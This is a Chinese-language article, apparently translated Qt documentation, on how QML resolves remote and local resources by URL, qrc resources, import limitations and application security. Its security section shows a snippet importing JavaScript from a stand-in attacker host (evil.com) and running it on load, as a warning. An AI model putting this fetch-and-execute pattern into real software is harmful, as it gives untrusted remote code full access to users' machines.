QML加载资源和网络资源透明性
一、概述
QML通过对从QML文档到其他内容的所有引用使用 url(而不是文件名) 来支持网络透明性。这意味着在任何需要URL源的地方,QML都可以处理远程资源和本地资源,例如下面的图片源:
Image {
source: "http://www.example.com/images/logo.png"
}
由于相对URL与相对文件相同,在普通文件系统上开发QML仍然很简单:
Image {
source: "images/logo.png"
}
在整个QML中都支持网络透明性,例如,FontLoader和Image元素都支持从远程服务器加载资源。
甚至QML类型本身可以在网络上-如果使用qmlscene的原型用于加载http://example.com/mystuff/Hello.qml,并且该内容引用类型“世界”,引擎将加载http://example.com/mystuff/qmldir并解析类型,就像它将用于本地文件一样。例如,如果qmldir文件包含行“World World。,它将加载http://example.com/mystuff/World.qml任何其他资源,Hello。通常通过相对URL引用的qml,也类似地从网络加载。
二、相对url与绝对url
只要对象有一个类型为URL (QUrl)的属性,将字符串赋值给该属性实际上会指定一个绝对URL——通过将该字符串与使用该字符串的文档的URL进行解析。就是保证url嵌套的功能。
例如,考虑http://example.com/mystuff/test.qml:中的内容
Image {
source: "images/logo.png"
}
Image source属性将被声明http://example.com/mystuff/images/logo.png,但是在开发QML时,在 C:\User\Fred\Documents\MyStuff\test.qml 中,它将被声明为 C:\User\Fred\Documents\MyStuff\images\logo.png。
如果声明给URL的字符串已经是一个绝对URL,那么“解析”不会改变它,而是直接分配URL。
三、QRC的资源
Qt中内置的URL方案之一是qrc方案。这允许使用Qt资源系统将内容编译到可执行文件中。使用它,可执行文件可以引用编译到可执行文件中的QML内容:
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));
然后内容本身可以使用相对url,因此透明地不知道内容被编译到可执行文件中。
四、限制
只有当import语句包含as子句时,它才是网络透明的。
更具体地说:
- import “dir” 仅适用于本地文件系统
- import libraryUri 仅适用于本地文件系统
- import “dir” as D 工作网络透明
- import libraryUrl as U 工作网络透明
五、对应用程序安全性的影响
QML安全模型是,QML内容是一个可信内容链:用户安装他们信任的QML内容,就像他们安装原生Qt应用程序或用运行时(如Python和Perl)编写的程序一样。这种信任可以通过多种机制建立,包括某些平台上的包签名功能。
为了保持用户的信任,QML应用程序开发人员不应该加载和执行任意的JavaScript或QML资源。例如,考虑下面的QML代码:
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
}
这相当于下载并执行 http://evil.com/evil.exe”。QML引擎不会阻止加载特定的资源。与在web浏览器中运行的JavaScript代码不同,QML应用程序可以以与任何其他本地应用程序相同的方式加载远程或本地文件系统资源,因此应用程序开发人员在加载和执行任何内容时都必须小心。
与任何访问超出其控制范围的其他内容的应用程序一样,QML应用程序应该对其加载的任何不可信数据执行适当的检查。例如,不要使用import、Loader或XMLHttpRequest来加载任何不可信的代码或内容。